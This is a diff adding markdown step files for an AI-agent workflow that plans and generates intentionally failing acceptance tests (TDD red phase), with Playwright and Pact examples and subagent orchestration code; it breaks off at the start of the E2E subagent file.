**CRITICAL:** Follow this sequence exactly. Do not skip, reorder, or improvise.
## 1. Stack Detection
**Read `config.test_stack_type`** from `{config_source}`.
**Auto-Detection Algorithm** (when `test_stack_type` is `"auto"` or not configured):
- Scan `{project-root}` for project manifests:
- **Frontend indicators**: `package.json` with react/vue/angular/next dependencies, `playwright.config.*`, `vite.config.*`, `webpack.config.*`
- **Backend indicators**: `pyproject.toml`, `pom.xml`/`build.gradle`, `go.mod`, `*.csproj`/`*.sln`, `Gemfile`, `Cargo.toml`
- **Both present** = `fullstack`; only frontend = `frontend`; only backend = `backend`
- Explicit `test_stack_type` config value overrides auto-detection
- **Backward compatibility**: if `test_stack_type` is not in config, treat as `"auto"` (preserves current frontend behavior for existing installs)
Store result as `{detected_stack}` = `frontend` | `backend` | `fullstack`
---
## 2. Prerequisites (Hard Requirements)
- Story approved with **clear acceptance criteria**
- Test framework configured:
- **If {detected_stack} is `frontend` or `fullstack`:** `playwright.config.ts` or `cypress.config.ts`
- **If {detected_stack} is `backend`:** relevant test config exists (e.g., `conftest.py`, `src/test/`, `*_test.go`, `.rspec`)
- Development environment available
If any are missing: **HALT** and notify the user.
---
## 3. Load Story Context
- Read story markdown from `{story_file}` (or ask user if not provided)
- Extract acceptance criteria and constraints
- Identify affected components and integrations
---
## 4. Load Framework & Existing Patterns
- Read framework config
- Inspect `{test_dir}` for existing test patterns, fixtures, helpers
## 4.5 Read TEA Config Flags
From `{config_source}`:
- `tea_use_playwright_utils`
- `tea_use_pactjs_utils`
- `tea_pact_mcp`
- `tea_browser_automation`
- `test_stack_type`
---
### Tiered Knowledge Loading
Load fragments based on their `tier` classification in `tea-index.csv`:
1. **Core tier** (always load): Foundational fragments required for this workflow
2. **Extended tier** (load on-demand): Load when deeper analysis is needed or when the user's context requires it
3. **Specialized tier** (load only when relevant): Load only when the specific use case matches (e.g., contract-testing only for microservices, email-auth only for email flows)
> **Context Efficiency**: Loading only core fragments reduces context usage by 40-50% compared to loading all fragments.
### Playwright Utils Loading Profiles
**If `tea_use_playwright_utils` is enabled**, select the appropriate loading profile:
- **API-only profile** (when `{detected_stack}` is `backend` or no `page.goto`/`page.locator` found in test files):
Load: `overview`, `api-request`, `auth-session`, `recurse` (~1,800 lines)
- **Full UI+API profile** (when `{detected_stack}` is `frontend`/`fullstack` or browser tests detected):
Load: all Playwright Utils core fragments (~4,500 lines)
**Detection**: Scan `{test_dir}` for files containing `page.goto` or `page.locator`. If none found, use API-only profile.
### Pact.js Utils Loading
**If `tea_use_pactjs_utils` is enabled** (and `{detected_stack}` is `backend` or `fullstack`, or microservices indicators detected):
Load: `pactjs-utils-overview.md`, `pactjs-utils-consumer-helpers.md`, `pactjs-utils-provider-verifier.md`, `pactjs-utils-request-filter.md`
**If `tea_use_pactjs_utils` is disabled** but contract testing is relevant:
Load: `contract-testing.md`
### Pact MCP Loading
**If `tea_pact_mcp` is `"mcp"`:**
Load: `pact-mcp.md`
## 5. Load Knowledge Base Fragments
Use `{knowledgeIndex}` to load:
**Core (always):**
- `data-factories.md`
- `component-tdd.md`
- `test-quality.md`
- `test-healing-patterns.md`
**If {detected_stack} is `frontend` or `fullstack`:**
- `selector-resilience.md`
- `timing-debugging.md`
**Playwright Utils (if enabled and {detected_stack} is `frontend` or `fullstack`):**
- `overview.md`, `api-request.md`, `network-recorder.md`, `auth-session.md`, `intercept-network-call.md`, `recurse.md`, `log.md`, `file-utils.md`, `network-error-monitor.md`, `fixtures-composition.md`
**Playwright CLI (if tea_browser_automation is "cli" or "auto" and {detected_stack} is `frontend` or `fullstack`):**
- `playwright-cli.md`
**MCP Patterns (if tea_browser_automation is "mcp" or "auto" and {detected_stack} is `frontend` or `fullstack`):**
- (existing MCP-related fragments, if any are added in future)
**Traditional Patterns (if utils disabled and {detected_stack} is `frontend` or `fullstack`):**
- `fixture-architecture.md`
- `network-first.md`
**Backend Patterns (if {detected_stack} is `backend` or `fullstack`):**
- `test-levels-framework.md`
- `test-priorities-matrix.md`
- `ci-burn-in.md`
**Pact.js Utils (if enabled):**
- `pactjs-utils-overview.md`, `pactjs-utils-consumer-helpers.md`, `pactjs-utils-provider-verifier.md`, `pactjs-utils-request-filter.md`
**Contract Testing (if pactjs-utils disabled but relevant):**
- `contract-testing.md`
**Pact MCP (if tea_pact_mcp is "mcp"):**
- `pact-mcp.md`
---
## 6. Confirm Inputs
Summarize loaded inputs and confirm with the user. Then proceed.
---
## 7. Save Progress
**Save this step's accumulated work to `{outputFile}`.**
- **If `{outputFile}` does not exist** (first save), create it with YAML frontmatter:
```yaml
---
stepsCompleted: ['step-01-preflight-and-context']
lastStep: 'step-01-preflight-and-context'
lastSaved: '{date}'
---
```
Then write this step's output below the frontmatter.
- **If `{outputFile}` already exists**, update:
- Add `'step-01-preflight-and-context'` to `stepsCompleted` array (only if not already present)
- Set `lastStep: 'step-01-preflight-and-context'`
- Set `lastSaved: '{date}'`
- Append this step's output to the appropriate section.
**Update `inputDocuments`**: Set `inputDocuments` in the output template frontmatter to the list of artifact paths loaded in this step (e.g., knowledge fragments, test design documents, configuration files).
Load next step: `{nextStepFile}`
## 🚨 SYSTEM SUCCESS/FAILURE METRICS:
### ✅ SUCCESS:
- Step completed in full with required outputs
### ❌ SYSTEM FAILURE:
- Skipped sequence steps or missing outputs
**Master Rule:** Skipping steps is FORBIDDEN.

View File

@@ -0,0 +1,96 @@
---
name: 'step-01b-resume'
description: 'Resume interrupted workflow from last completed step'
outputFile: '{test_artifacts}/atdd-checklist-{story_id}.md'
---
# Step 1b: Resume Workflow
## STEP GOAL
Resume an interrupted workflow by loading the existing output document, displaying progress, and routing to the next incomplete step.
## MANDATORY EXECUTION RULES
- 📖 Read the entire step file before acting
- ✅ Speak in `{communication_language}`
---
## EXECUTION PROTOCOLS:
- 🎯 Follow the MANDATORY SEQUENCE exactly
- 📖 Load the next step only when instructed
## CONTEXT BOUNDARIES:
- Available context: Output document with progress frontmatter
- Focus: Load progress and route to next step
- Limits: Do not re-execute completed steps
- Dependencies: Output document must exist from a previous run
## MANDATORY SEQUENCE
**CRITICAL:** Follow this sequence exactly.
### 1. Load Output Document
Read `{outputFile}` and parse YAML frontmatter for:
- `stepsCompleted` — array of completed step names
- `lastStep` — last completed step name
- `lastSaved` — timestamp of last save
**If `{outputFile}` does not exist**, display:
"⚠️ **No previous progress found.** There is no output document to resume from. Please use **[C] Create** to start a fresh workflow run."
**THEN:** Halt. Do not proceed.
---
### 2. Display Progress Dashboard
Display progress with ✅/⬜ indicators:
1. ✅/⬜ Preflight & Context (step-01-preflight-and-context)
2. ✅/⬜ Generation Mode (step-02-generation-mode)
3. ✅/⬜ Test Strategy (step-03-test-strategy)
4. ✅/⬜ Generate Tests + Aggregate (step-04c-aggregate)
5. ✅/⬜ Validate & Complete (step-05-validate-and-complete)
---
### 3. Route to Next Step
Based on `lastStep`, load the next incomplete step:
- `'step-01-preflight-and-context'` → load `./step-02-generation-mode.md`
- `'step-02-generation-mode'` → load `./step-03-test-strategy.md`
- `'step-03-test-strategy'` → load `./step-04-generate-tests.md`
- `'step-04c-aggregate'` → load `./step-05-validate-and-complete.md`
- `'step-05-validate-and-complete'`**Workflow already complete.** Display: "✅ **All steps completed.** Use **[V] Validate** to review outputs or **[E] Edit** to make revisions." Then halt.
**If `lastStep` does not match any value above**, display: "⚠️ **Unknown progress state** (`lastStep`: {lastStep}). Please use **[C] Create** to start fresh." Then halt.
**Otherwise**, load the identified step file, read completely, and execute.
The existing content in `{outputFile}` provides context from previously completed steps.
---
## 🚨 SYSTEM SUCCESS/FAILURE METRICS
### ✅ SUCCESS:
- Output document loaded and parsed correctly
- Progress dashboard displayed accurately
- Routed to correct next step
### ❌ SYSTEM FAILURE:
- Not loading output document
- Incorrect progress display
- Routing to wrong step
**Master Rule:** Resume MUST route to the exact next incomplete step. Never re-execute completed steps.

View File

@@ -0,0 +1,125 @@
---
name: 'step-02-generation-mode'
description: 'Choose AI generation or recording mode'
outputFile: '{test_artifacts}/atdd-checklist-{story_id}.md'
nextStepFile: './step-03-test-strategy.md'
---
# Step 2: Generation Mode Selection
## STEP GOAL
Choose the appropriate generation mode for ATDD tests.
## MANDATORY EXECUTION RULES
- 📖 Read the entire step file before acting
- ✅ Speak in `{communication_language}`
---
## EXECUTION PROTOCOLS:
- 🎯 Follow the MANDATORY SEQUENCE exactly
- 💾 Record outputs before proceeding
- 📖 Load the next step only when instructed
## CONTEXT BOUNDARIES:
- Available context: config, loaded artifacts, and knowledge fragments
- Focus: this step's goal only
- Limits: do not execute future steps
- Dependencies: prior steps' outputs (if any)
## MANDATORY SEQUENCE
**CRITICAL:** Follow this sequence exactly. Do not skip, reorder, or improvise.
## 1. Default Mode: AI Generation
Use AI generation when:
- Acceptance criteria are clear
- Scenarios are standard (CRUD, auth, API, navigation)
- **If {detected_stack} is `backend`:** Always use AI generation (no browser recording needed)
Proceed directly to test strategy if this applies.
---
## 2. Optional Mode: Recording (Complex UI)
**Skip this section entirely if {detected_stack} is `backend`.** For backend projects, use AI generation from API documentation, OpenAPI/Swagger specs, or source code analysis instead.
**If {detected_stack} is `frontend` or `fullstack`:**
Use recording when UI interactions need live browser verification.
**Tool selection based on `config.tea_browser_automation`:**
If `auto`:
> **Note:** `${timestamp}` is a placeholder the agent should replace with a unique value (e.g., epoch seconds) for session isolation.
- **Simple recording** (snapshot selectors, capture structure): Use CLI
- `playwright-cli -s=tea-atdd-${timestamp} open <url>``playwright-cli -s=tea-atdd-${timestamp} snapshot` → extract refs
- **Complex recording** (drag/drop, wizards, multi-step state): Use MCP
- Full browser automation with rich tool semantics
- **Fallback:** If preferred tool unavailable, use the other; if neither, skip recording
If `cli`:
- Use Playwright CLI for all recording
- `playwright-cli -s=tea-atdd-${timestamp} open <url>`, `snapshot`, `screenshot`, `click <ref>`, etc.
If `mcp`:
- Use Playwright MCP tools for all recording (current behavior)
- Confirm MCP availability, record selectors and interactions
If `none`:
- Skip recording mode entirely, use AI generation from documentation
---
## 3. Confirm Mode
State the chosen mode and why. Then proceed.
---
## 4. Save Progress
**Save this step's accumulated work to `{outputFile}`.**
- **If `{outputFile}` does not exist** (first save), create it with YAML frontmatter:
```yaml
---
stepsCompleted: ['step-02-generation-mode']
lastStep: 'step-02-generation-mode'
lastSaved: '{date}'
---
```
Then write this step's output below the frontmatter.
- **If `{outputFile}` already exists**, update:
- Add `'step-02-generation-mode'` to `stepsCompleted` array (only if not already present)
- Set `lastStep: 'step-02-generation-mode'`
- Set `lastSaved: '{date}'`
- Append this step's output to the appropriate section.
Load next step: `{nextStepFile}`
## 🚨 SYSTEM SUCCESS/FAILURE METRICS:
### ✅ SUCCESS:
- Step completed in full with required outputs
### ❌ SYSTEM FAILURE:
- Skipped sequence steps or missing outputs
**Master Rule:** Skipping steps is FORBIDDEN.

View File

@@ -0,0 +1,110 @@
---
name: 'step-03-test-strategy'
description: 'Map acceptance criteria to test levels and priorities'
outputFile: '{test_artifacts}/atdd-checklist-{story_id}.md'
nextStepFile: './step-04-generate-tests.md'
---
# Step 3: Test Strategy
## STEP GOAL
Translate acceptance criteria into a prioritized, level-appropriate test plan.
## MANDATORY EXECUTION RULES
- 📖 Read the entire step file before acting
- ✅ Speak in `{communication_language}`
- 🚫 Avoid duplicate coverage across levels
---
## EXECUTION PROTOCOLS:
- 🎯 Follow the MANDATORY SEQUENCE exactly
- 💾 Record outputs before proceeding
- 📖 Load the next step only when instructed
## CONTEXT BOUNDARIES:
- Available context: config, loaded artifacts, and knowledge fragments
- Focus: this step's goal only
- Limits: do not execute future steps
- Dependencies: prior steps' outputs (if any)
## MANDATORY SEQUENCE
**CRITICAL:** Follow this sequence exactly. Do not skip, reorder, or improvise.
## 1. Map Acceptance Criteria
- Convert each acceptance criterion into test scenarios
- Include negative and edge cases where risk is high
---
## 2. Select Test Levels
Choose the best level per scenario based on `{detected_stack}`:
**If {detected_stack} is `frontend` or `fullstack`:**
- **E2E** for critical user journeys
- **API** for business logic and service contracts
- **Component** for UI behavior
**If {detected_stack} is `backend` or `fullstack`:**
- **Unit** for pure functions, business logic, and edge cases
- **Integration** for service interactions, database queries, and middleware
- **API/Contract** for endpoint validation, request/response schemas, and Pact contracts
- **No E2E** for pure backend projects (no browser-based testing needed)
---
## 3. Prioritize Tests
Assign P0P3 priorities using risk and business impact.
---
## 4. Confirm Red Phase Requirements
Ensure all tests are designed to **fail before implementation** (TDD red phase).
---
## 5. Save Progress
**Save this step's accumulated work to `{outputFile}`.**
- **If `{outputFile}` does not exist** (first save), create it with YAML frontmatter:
```yaml
---
stepsCompleted: ['step-03-test-strategy']
lastStep: 'step-03-test-strategy'
lastSaved: '{date}'
---
```
Then write this step's output below the frontmatter.
- **If `{outputFile}` already exists**, update:
- Add `'step-03-test-strategy'` to `stepsCompleted` array (only if not already present)
- Set `lastStep: 'step-03-test-strategy'`
- Set `lastSaved: '{date}'`
- Append this step's output to the appropriate section.
Load next step: `{nextStepFile}`
## 🚨 SYSTEM SUCCESS/FAILURE METRICS:
### ✅ SUCCESS:
- Step completed in full with required outputs
### ❌ SYSTEM FAILURE:
- Skipped sequence steps or missing outputs
**Master Rule:** Skipping steps is FORBIDDEN.

View File

@@ -0,0 +1,334 @@
---
name: 'step-04-generate-tests'
description: 'Orchestrate adaptive FAILING test generation (TDD red phase)'
nextStepFile: './step-04c-aggregate.md'
---
# Step 4: Orchestrate Adaptive FAILING Test Generation
## STEP GOAL
Select execution mode deterministically, then generate FAILING API and E2E tests (TDD RED PHASE) with consistent output contracts across agent-team, subagent, or sequential execution.
## MANDATORY EXECUTION RULES
- 📖 Read the entire step file before acting
- ✅ Speak in `{communication_language}`
- ✅ Resolve execution mode from config (`tea_execution_mode`, `tea_capability_probe`)
- ✅ Apply fallback rules deterministically when requested mode is unsupported
- ✅ Generate FAILING tests only (TDD red phase)
- ✅ Wait for required worker steps to complete
- ❌ Do NOT skip capability checks when probing is enabled
- ❌ Do NOT generate passing tests (this is red phase)
- ❌ Do NOT proceed until required worker steps finish
---
## EXECUTION PROTOCOLS:
- 🎯 Follow the MANDATORY SEQUENCE exactly
- 💾 Wait for subagent outputs
- 📖 Load the next step only when instructed
## CONTEXT BOUNDARIES:
- Available context: config, acceptance criteria from Step 1, test strategy from Step 3
- Focus: orchestration only (mode selection + worker dispatch)
- Limits: do not generate tests directly (delegate to worker steps)
- Dependencies: Steps 1-3 outputs
---
## MANDATORY SEQUENCE
**CRITICAL:** Follow this sequence exactly. Do not skip, reorder, or improvise.
### 1. Prepare Execution Context
**Generate unique timestamp** for temp file naming:
```javascript
const timestamp = new Date().toISOString().replace(/[:.]/g, '-');
```
**Prepare input context for both subagents:**
```javascript
const parseBooleanFlag = (value, defaultValue = true) => {
if (typeof value === 'string') {
const normalized = value.trim().toLowerCase();
if (['false', '0', 'off', 'no'].includes(normalized)) return false;
if (['true', '1', 'on', 'yes'].includes(normalized)) return true;
}
if (value === undefined || value === null) return defaultValue;
return Boolean(value);
};
const subagentContext = {
story_acceptance_criteria: /* from Step 1 */,
test_strategy: /* from Step 3 */,
knowledge_fragments_loaded: /* list of fragments */,
config: {
test_framework: config.test_framework,
use_playwright_utils: config.tea_use_playwright_utils,
use_pactjs_utils: config.tea_use_pactjs_utils,
pact_mcp: config.tea_pact_mcp, // "mcp" | "none"
browser_automation: config.tea_browser_automation,
execution_mode: config.tea_execution_mode || 'auto', // "auto" | "subagent" | "agent-team" | "sequential"
capability_probe: parseBooleanFlag(config.tea_capability_probe, true), // supports booleans and "false"/"true" strings
provider_endpoint_map: /* from Step 1/3 context, if use_pactjs_utils enabled */,
},
timestamp: timestamp
};
```
---
### 2. Resolve Execution Mode with Capability Probe
```javascript
const normalizeUserExecutionMode = (mode) => {
if (typeof mode !== 'string') return null;
const normalized = mode.trim().toLowerCase().replace(/[-_]/g, ' ').replace(/\s+/g, ' ');
if (normalized === 'auto') return 'auto';
if (normalized === 'sequential') return 'sequential';
if (normalized === 'subagent' || normalized === 'sub agent' || normalized === 'subagents' || normalized === 'sub agents') {
return 'subagent';
}
if (normalized === 'agent team' || normalized === 'agent teams' || normalized === 'agentteam') {
return 'agent-team';
}
return null;
};
const normalizeConfigExecutionMode = (mode) => {
if (mode === 'subagent') return 'subagent';
if (mode === 'auto' || mode === 'sequential' || mode === 'subagent' || mode === 'agent-team') {
return mode;
}
return null;
};
// Explicit user instruction in the active run takes priority over config.
const explicitModeFromUser = normalizeUserExecutionMode(runtime.getExplicitExecutionModeHint?.() || null);
const requestedMode = explicitModeFromUser || normalizeConfigExecutionMode(subagentContext.config.execution_mode) || 'auto';
const probeEnabled = subagentContext.config.capability_probe;
const supports = {
subagent: runtime.canLaunchSubagents?.() === true,
agentTeam: runtime.canLaunchAgentTeams?.() === true,
};
let resolvedMode = requestedMode;
if (requestedMode === 'auto') {
if (supports.agentTeam) resolvedMode = 'agent-team';
else if (supports.subagent) resolvedMode = 'subagent';
else resolvedMode = 'sequential';
} else if (probeEnabled && requestedMode === 'agent-team' && !supports.agentTeam) {
resolvedMode = supports.subagent ? 'subagent' : 'sequential';
} else if (probeEnabled && requestedMode === 'subagent' && !supports.subagent) {
resolvedMode = 'sequential';
}
subagentContext.execution = {
requestedMode,
resolvedMode,
probeEnabled,
supports,
};
if (!probeEnabled && (requestedMode === 'agent-team' || requestedMode === 'subagent')) {
const unsupportedRequestedMode =
(requestedMode === 'agent-team' && !supports.agentTeam) || (requestedMode === 'subagent' && !supports.subagent);
if (unsupportedRequestedMode) {
subagentContext.execution.error = `Requested execution mode "${requestedMode}" is unavailable because capability probing is disabled.`;
throw new Error(subagentContext.execution.error);
}
}
```
Resolution precedence:
1. Explicit user request in this run (`agent team` => `agent-team`; `subagent` => `subagent`; `sequential`; `auto`)
2. `tea_execution_mode` from config
3. Runtime capability fallback (when probing enabled)
If probing is disabled, honor the requested mode strictly. If that mode cannot be executed at runtime, fail with explicit error instead of silent fallback.
---
### 3. Dispatch Worker A: Failing API Test Generation
**Dispatch worker:**
- **Subagent File:** `./step-04a-subagent-api-failing.md`
- **Output File:** `/tmp/tea-atdd-api-tests-${timestamp}.json`
- **Context:** Pass `subagentContext`
- **Execution:**
- `agent-team` or `subagent`: launch non-blocking
- `sequential`: run blocking and wait before next dispatch
- **TDD Phase:** RED (failing tests)
**System Action:**
```
🚀 Launching Subagent A: FAILING API Test Generation (RED PHASE)
📝 Output: /tmp/tea-atdd-api-tests-${timestamp}.json
⚙️ Mode: ${resolvedMode}
🔴 TDD Phase: RED (tests will fail until feature implemented)
⏳ Status: Running...
```
---
### 4. Dispatch Worker B: Failing E2E Test Generation
**Dispatch worker:**
- **Subagent File:** `./step-04b-subagent-e2e-failing.md`
- **Output File:** `/tmp/tea-atdd-e2e-tests-${timestamp}.json`
- **Context:** Pass `subagentContext`
- **Execution:**
- `agent-team` or `subagent`: launch non-blocking
- `sequential`: run blocking and wait before next dispatch
- **TDD Phase:** RED (failing tests)
**System Action:**
```
🚀 Launching Subagent B: FAILING E2E Test Generation (RED PHASE)
📝 Output: /tmp/tea-atdd-e2e-tests-${timestamp}.json
⚙️ Mode: ${resolvedMode}
🔴 TDD Phase: RED (tests will fail until feature implemented)
⏳ Status: Running...
```
---
### 5. Wait for Required Worker Completion
**If `resolvedMode` is `agent-team` or `subagent`:**
```
⏳ Waiting for subagents to complete...
├── Subagent A (API RED): Running... ⟳
└── Subagent B (E2E RED): Running... ⟳
[... time passes ...]
├── Subagent A (API RED): Complete ✅
└── Subagent B (E2E RED): Complete ✅
✅ All subagents completed successfully!
```
**If `resolvedMode` is `sequential`:**
```
✅ Sequential mode: each worker already completed during dispatch.
```
**Verify both outputs exist:**
```javascript
const apiOutputExists = fs.existsSync(`/tmp/tea-atdd-api-tests-${timestamp}.json`);
const e2eOutputExists = fs.existsSync(`/tmp/tea-atdd-e2e-tests-${timestamp}.json`);
if (!apiOutputExists || !e2eOutputExists) {
throw new Error('One or both subagent outputs missing!');
}
```
---
### 6. TDD Red Phase Report
**Display TDD status:**
```
🔴 TDD RED PHASE: Failing Tests Generated
✅ Both subagents completed:
- API Tests: Generated with test.skip()
- E2E Tests: Generated with test.skip()
📋 All tests assert EXPECTED behavior
📋 All tests will FAIL until feature implemented
📋 This is INTENTIONAL (TDD red phase)
Next: Aggregation will verify TDD compliance
```
---
### 7. Execution Report
**Display performance metrics:**
```
🚀 Performance Report:
- Execution Mode: {resolvedMode}
- API Test Generation: ~X minutes
- E2E Test Generation: ~Y minutes
- Total Elapsed: ~mode-dependent
- Parallel Gain: ~50% faster when mode is subagent/agent-team
```
---
### 8. Proceed to Aggregation
**Load aggregation step:**
Load next step: `{nextStepFile}`
The aggregation step (4C) will:
- Read both subagent outputs
- Verify TDD red phase compliance (all tests have test.skip())
- Write all test files to disk
- Generate ATDD checklist
- Calculate summary statistics
---
## EXIT CONDITION
Proceed to Step 4C (Aggregation) when:
- ✅ Subagent A (API failing tests) completed successfully
- ✅ Subagent B (E2E failing tests) completed successfully
- ✅ Both output files exist and are valid JSON
- ✅ TDD red phase status reported
**Do NOT proceed if:**
- ❌ One or both subagents failed
- ❌ Output files missing or corrupted
- ❌ Subagent generated passing tests (wrong - must be failing)
---
## 🚨 SYSTEM SUCCESS/FAILURE METRICS:
### ✅ SUCCESS:
- Both subagents launched successfully
- Both worker steps completed without errors
- Output files generated and valid
- Tests generated with test.skip() (TDD red phase)
- Fallback behavior respected configuration and capability probe rules
### ❌ SYSTEM FAILURE:
- Failed to launch subagents
- One or both subagents failed
- Output files missing or invalid
- Tests generated without test.skip() (wrong phase)
- Unsupported requested mode with probing disabled
**Master Rule:** TDD RED PHASE requires FAILING tests (with test.skip()). Mode selection changes orchestration, never red-phase requirements.

View File

@@ -0,0 +1,286 @@
---
name: 'step-04a-subagent-api-failing'
description: 'Subagent: Generate FAILING API tests (TDD red phase)'
subagent: true
outputFile: '/tmp/tea-atdd-api-tests-{{timestamp}}.json'
---
# Subagent 4A: Generate Failing API Tests (TDD Red Phase)
## SUBAGENT CONTEXT
This is an **isolated subagent** running in parallel with E2E failing test generation.
**What you have from parent workflow:**
- Story acceptance criteria from Step 1
- Test strategy and scenarios from Step 3
- Knowledge fragments loaded: api-request, data-factories, api-testing-patterns
- Config: test framework, Playwright Utils enabled/disabled, Pact.js Utils enabled/disabled (`use_pactjs_utils`), Pact MCP mode (`pact_mcp`)
- Provider Endpoint Map (if `use_pactjs_utils` enabled and provider source accessible)
**Your task:** Generate API tests that will FAIL because the feature is not implemented yet (TDD RED PHASE).
---
## MANDATORY EXECUTION RULES
- 📖 Read this entire subagent file before acting
- ✅ Generate FAILING API tests ONLY
- ✅ Tests MUST fail when run (feature not implemented yet)
- ✅ Output structured JSON to temp file
- ✅ Follow knowledge fragment patterns
- ❌ Do NOT generate E2E tests (that's subagent 4B)
- ❌ Do NOT generate passing tests (this is TDD red phase)
- ❌ Do NOT run tests (that's step 5)
---
## SUBAGENT TASK
### 1. Identify API Endpoints from Acceptance Criteria
From the story acceptance criteria (Step 1 output), identify:
- Which API endpoints will be created for this story
- Expected request/response contracts
- Authentication requirements
- Expected status codes and error scenarios
**Example Acceptance Criteria:**
```
Story: User Registration
- As a user, I can POST to /api/users/register with email and password
- System returns 201 Created with user object
- System returns 400 Bad Request if email already exists
- System returns 422 Unprocessable Entity if validation fails
```
### 2. Generate FAILING API Test Files
For each API endpoint, create test file in `tests/api/[feature].spec.ts`:
**Test Structure (ATDD - Red Phase):**
```typescript
import { test, expect } from '@playwright/test';
// If Playwright Utils enabled:
// import { apiRequest } from '@playwright-utils/api';
test.describe('[Story Name] API Tests (ATDD)', () => {
test.skip('[P0] should register new user successfully', async ({ request }) => {
// THIS TEST WILL FAIL - Endpoint not implemented yet
const response = await request.post('/api/users/register', {
data: {
email: 'newuser@example.com',
password: 'SecurePass123!',
},
});
// Expect 201 but will get 404 (endpoint doesn't exist)
expect(response.status()).toBe(201);
const user = await response.json();
expect(user).toMatchObject({
id: expect.any(Number),
email: 'newuser@example.com',
});
});
test.skip('[P1] should return 400 if email exists', async ({ request }) => {
// THIS TEST WILL FAIL - Endpoint not implemented yet
const response = await request.post('/api/users/register', {
data: {
email: 'existing@example.com',
password: 'SecurePass123!',
},
});
expect(response.status()).toBe(400);
const error = await response.json();
expect(error.message).toContain('Email already exists');
});
});
```
**CRITICAL ATDD Requirements:**
- ✅ Use `test.skip()` to mark tests as intentionally failing (red phase)
- ✅ Write assertions for EXPECTED behavior (even though not implemented)
- ✅ Use realistic test data (not placeholder data)
- ✅ Test both happy path and error scenarios from acceptance criteria
- ✅ Use `apiRequest()` helper if Playwright Utils enabled
- ✅ Use data factories for test data (from data-factories fragment)
- ✅ Include priority tags [P0], [P1], [P2], [P3]
### 1.5 Provider Source Scrutiny for CDC in TDD Red Phase (If `use_pactjs_utils` Enabled)
When generating Pact consumer contract tests in the ATDD red phase, provider scrutiny applies with TDD-specific rules. Apply the **Seven-Point Scrutiny Checklist** from `contract-testing.md` (Response shape, Status codes, Field names, Enum values, Required fields, Data types, Nested structures) for both existing and new endpoints.
**If provider endpoint already exists** (extending an existing API):
- READ the provider route handler, types, and validation schemas
- Verify all seven scrutiny points against the provider source: Response shape, Status codes, Field names, Enum values, Required fields, Data types, Nested structures
- Add `// Provider endpoint:` comment and scrutiny evidence block documenting findings for each point
- Wrap the entire test function in `test.skip()` (so the whole test including `executeTest` is skipped), not just the callback
**If provider endpoint is new** (TDD — endpoint not implemented yet):
- Use acceptance criteria as the source of truth for expected behavior
- Acceptance criteria should specify all seven scrutiny points where possible (status codes, field names, types, etc.) — note any gaps as assumptions in the evidence block
- Add `// Provider endpoint: TODO — new endpoint, not yet implemented`
- Document expected behavior from acceptance criteria in scrutiny evidence block
- Wrap the entire test function in `test.skip()` and use realistic expectations from the story
**Graceful degradation when provider source is inaccessible:**
1. **OpenAPI/Swagger spec available**: Use the spec as the source of truth for response shapes, status codes, and field names
2. **Pact Broker available** (when `pact_mcp` is `"mcp"`): Use SmartBear MCP tools to fetch existing provider states and verified interactions as reference
3. **Neither available**: For new endpoints, use acceptance criteria; for existing endpoints, use consumer-side types. Mark with `// Provider endpoint: TODO — provider source not accessible, verify manually` and set `provider_scrutiny: "pending"` in output JSON
4. **Never silently guess**: Document all assumptions in the scrutiny evidence block
**Provider endpoint comments are MANDATORY** even in red-phase tests — they document the intent.
**Example: Red-phase Pact test with provider scrutiny:**
```typescript
// Provider endpoint: TODO — new endpoint, not yet implemented
/*
* Provider Scrutiny Evidence:
* - Handler: NEW — not yet implemented (TDD red phase)
* - Expected from acceptance criteria:
* - Endpoint: POST /api/v2/users/register
* - Status: 201 for success, 400 for duplicate email, 422 for validation error
* - Response: { id: number, email: string, createdAt: string }
*/
test.skip('[P0] should generate consumer contract for user registration', async () => {
await provider
.given('no users exist')
.uponReceiving('a request to register a new user')
.withRequest({
method: 'POST',
path: '/api/v2/users/register',
headers: { 'Content-Type': 'application/json' },
body: { email: 'newuser@example.com', password: 'SecurePass123!' },
})
.willRespondWith({
status: 201,
headers: { 'Content-Type': 'application/json' },
body: like({
id: integer(1),
email: string('newuser@example.com'),
createdAt: string('2025-01-15T10:00:00Z'),
}),
})
.executeTest(async (mockServer) => {
const result = await registerUser({ email: 'newuser@example.com', password: 'SecurePass123!' }, { baseUrl: mockServer.url });
expect(result.id).toEqual(expect.any(Number));
});
});
```
**Why test.skip():**
- Tests are written correctly for EXPECTED behavior
- But we know they'll fail because feature isn't implemented
- `test.skip()` documents this is intentional (TDD red phase)
- Once feature is implemented, remove `test.skip()` to verify green phase
### 3. Track Fixture Needs
Identify fixtures needed for API tests:
- Authentication fixtures (if endpoints require auth)
- Data factories (user data, etc.)
- API client configurations
**Do NOT create fixtures yet** - just track what's needed for aggregation step.
---
## OUTPUT FORMAT
Write JSON to temp file: `/tmp/tea-atdd-api-tests-{{timestamp}}.json`
```json
{
"success": true,
"subagent": "atdd-api-tests",
"tests": [
{
"file": "tests/api/user-registration.spec.ts",
"content": "[full TypeScript test file content with test.skip()]",
"description": "ATDD API tests for user registration (RED PHASE)",
"expected_to_fail": true,
"acceptance_criteria_covered": [
"User can register with email/password",
"System returns 201 on success",
"System returns 400 if email exists"
],
"priority_coverage": {
"P0": 1,
"P1": 2,
"P2": 0,
"P3": 0
}
}
],
"fixture_needs": ["userDataFactory"],
"knowledge_fragments_used": ["api-request", "data-factories", "api-testing-patterns"],
"test_count": 3,
"tdd_phase": "RED",
"provider_scrutiny": "completed",
"summary": "Generated 3 FAILING API tests for user registration story"
}
```
**On Error:**
```json
{
"success": false,
"subagent": "atdd-api-tests",
"error": "Error message describing what went wrong",
"partial_output": {
/* any tests generated before error */
}
}
```
---
## EXIT CONDITION
Subagent completes when:
- ✅ All API endpoints from acceptance criteria have test files
- ✅ All tests use `test.skip()` (documented failing tests)
- ✅ All tests assert EXPECTED behavior (not placeholder assertions)
- ✅ JSON output written to temp file
- ✅ Fixture needs to be tracked
**Subagent terminates here.** Parent workflow will read output and proceed to aggregation.
---
## 🚨 SUBAGENT SUCCESS METRICS
### ✅ SUCCESS:
- All API tests generated with test.skip()
- Tests assert expected behavior (not placeholders)
- JSON output valid and complete
- No E2E/component/unit tests included (out of scope)
- Tests follow knowledge fragment patterns
- Every Pact interaction has `// Provider endpoint:` comment (if CDC enabled)
- Provider scrutiny completed or TODO markers added for new endpoints (if CDC enabled)
### ❌ FAILURE:
- Generated passing tests (wrong - this is RED phase)
- Tests without test.skip() (will break CI)
- Placeholder assertions (expect(true).toBe(true))
- Did not follow knowledge fragment patterns
- Invalid or missing JSON output
- Pact interactions missing provider endpoint comments (if CDC enabled)

View File

@@ -0,0 +1,244 @@
---
name: 'step-04b-subagent-e2e-failing'
